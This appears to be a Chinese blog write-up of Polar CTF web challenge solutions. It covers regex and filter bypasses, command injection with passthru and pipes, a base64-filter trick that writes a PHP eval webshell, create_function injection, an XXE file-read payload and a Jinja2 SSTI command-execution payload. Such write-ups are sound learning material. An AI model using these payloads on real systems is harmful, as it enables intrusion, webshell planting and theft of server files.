Polar靶场web通关记录
新人尝试,还请见谅!!!
web简单
swp
进题先扫dirsearch

然后发现了一个叫做/.index.php.swp的备份文件。访问/.index.php.swp

这时我们需要post一个名为xdmtql的变量,然后这个变量不能是数组。不能与/sys.nb/is正则匹配。但是结果的sys nb要在第一位。
但是结果的sys nb要在第一位。
我尝试了用回车绕过,因为.有一个特质:
| . | 匹配除换行符 \n 之外的任何单字符。要匹配 . ,请使用 . 。 |
|---|---|
| * | 匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 *。 |
这就说明,如果换行符应该是不会被检测的。但是还是错的。所以就用回溯绕过法:

运行得到

简单rce
post传参一个yyds=666,这是不会被检测的。然后再用get传参一个sys。这个sys好多被过滤了。system和popen也被过滤了。可以使用exec或者直接用``反引号进行命令执行。

然后空格被过滤了拿%09或者别的${IFS}之类的过去。我们先尝试一下payload:
?sys=passthru( ' ls%09/' );
用passthru执行,%09替换空格

?sys=passthru('sort%09/flag');
sort查看flag

flag{j6856fd063f0a04874311187da1191h6}
蜜雪冰城吉警店
召唤神龙
seek flag
jwt
login
iphone
浮生日记
$$
爆破
XFF
rce1
GET-POST
被黑掉的站
签到题
签到
session文件包含
Don't touch me
robots
php very nice
ezupload
cookie欺骗
upload
干正则
cool
uploader
覆盖
PHP反序列化初试
机器人
扫扫看
debudao
审计
upload1
干正则
进题看源码

他是一个需要ping的源码,然后看到了@parse_str()函数。就是读取一个变量并将其转换为数组的形式,我们构造一下payload:
?id=a[0]=www.polarctf.com
这里补充一下
empty()函数是用来测试变量是否已经配置。若变量已存在、非空字符串或者非零,则返回 false 值;反之返回 true值。所以,当字符串的值为0时,也返回true,就是执行empty内部的语句。这就是陷阱。
preg_match()可以完成字符串的规则匹配。如果找到一个匹配,preg_match() 函数返回 1,否则返回 0。
发现a[0]的值确实被更改了,那么接下来就简单了,先构造一个cmd=|ls;,发现回显了flag.php,但是不能直接读取,我们尝试用读取ls的命令,payload:
?id=a[0]=www.polarctf.com&cmd=|cat ls;

然后在源码中找到了flag。

flag{e44882416c9fa79cc5a6a51e6e19cdbc}
web中等
到底给不给flag呢

这道题是有关代码审计的,先c=flag然后让flag=c这样被解析之后,就是$c=$flag&$flag=$c,从而达到真正输出flag的作用。而不会用一个变量c把$flag=flag{xxxxxx}给覆盖。那么最后echo出来的就是$flag
?c=flag&flag=c
查看源代码,因为发现有大量“ <br/ >” 阻拦,拉到最底部,
发现flag{7c21614802acfb30b55697b3f5122be1}

写shell

根据经验这时应该输入一句话木马,但是事实告诉我们没有这么简单
?filename=php://filter/convert.base64-decode/resource=shell.php
name=php**<?=@eval($_POST[1]);?>**
我们应该需要在filename这里面写入一个content以达到获取flag的效果。那么这就应该写入一句话木马,那么前面的exit()该如何越过成了问题。看一下wp,发现可以使用base64解密的方式进行绕过。那么就将命令加密,并且前面加上任意一个字母进行分隔,payload:
?filename=php://filter/convert.base64-decode/resource=shell.php
content=aPD89QGV2YWwoJF9QT1NUWzFdKTs/Pg==
然后访问/shell.php发现木马被读入,我们用蚁剑连接一下:

某函数的复仇

由于怎么也想不到是哪个函数,我们直接去看了wp。发现是create_function()这个函数。他会直接执行这个创建的新函数。不过它需要一个闭合和一个注释。所以我们构造payload:
?root=;}system('ca\t /f*');/*
shaw=create_function

xxe
先用dir扫一扫

发现了/dom.php

然后就找到了报错信息,去找了一下xxe漏洞的攻击方式,然后根据wp构造payload:
<?xml version = "1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php">
]>
<name>&xxe;</name>
]>

base64解码后得到flag。
SSTI
简单的ssti,先随便给个{{6*6}}发现回显36,说明是SSTI中的python-flask模块的Jinjia2模板。(或者是php的一个模板)我们尝试直接用Jinjia2模板的payload:
{{a.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /f*").read()')}}
套用就可以
{{a.__init__.__globals__[%27__builtins__%27].eval(%27__import__(%22os%22).popen(%22cat /f*%22).read()%27)}}
